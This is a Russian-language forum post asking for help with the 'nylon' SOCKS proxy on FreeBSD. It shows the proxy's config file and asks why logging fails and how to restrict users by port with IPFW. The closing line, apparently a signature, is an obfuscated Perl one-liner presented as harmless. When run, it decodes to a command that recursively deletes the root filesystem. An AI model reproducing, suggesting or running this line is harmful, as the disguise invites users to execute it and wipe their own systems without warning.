В общем есть такой серверок. Примитивнее не придумаешь, крутится на FreeBSD, разработка OpenBSD.
Домашняя стр. Весь конфиг строк двадцать:
=====================
#Общие настройки
[General]
#Число конкурентных соединений
No-Simultaneous-Conn=10
#Вести логи 1- да, 0 - нет
Log=1
#Вести подробные логи 0 - нет, 1 - да
Verbose=1
#Место нахождения pid файла
PIDfile=/var/run/nylon.pid
#Настройки сервера
[Server]
#Интерфейс на котором принимаем запросы
Binding-Interface=em0
#Интерфейс для исходящих соединений
Connecting-Interface=em1
#Порт на котором принимаем соединения
Port=1080
#Адреса от которых принимаем соединения
Allow-IP=127.0.0.1/32 192.168.0.0/24=============================
Вместо конкретного интерфейса Binding-Interface=em0 ... Connecting-Interface=em1, можно ip указывать, на тот случай если на интерфейсах висит больше одного адреса.
Вместо Allow-IP=127.0.0.1/32 192.168.0.0/2 пишем адреса которым можно через сокс ходить: Allow-IP=127.0.0.1/32 192.168.1.20 192.168.1.30 и т.д.
Но суть не в этом, этот сервер лог почему то не ведет, хотя Log=1 и Verbose=1. И порезать надо по портам тем, кому разрешил, думается сам сервер не имеет такой возможности, подумывается реализовать с помощью
IPFW. В общем у кого какие мысли на этот счет. Только другие сервера не предлагать
, раб-т еще sockd 4, но надо 5й
echo "good..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'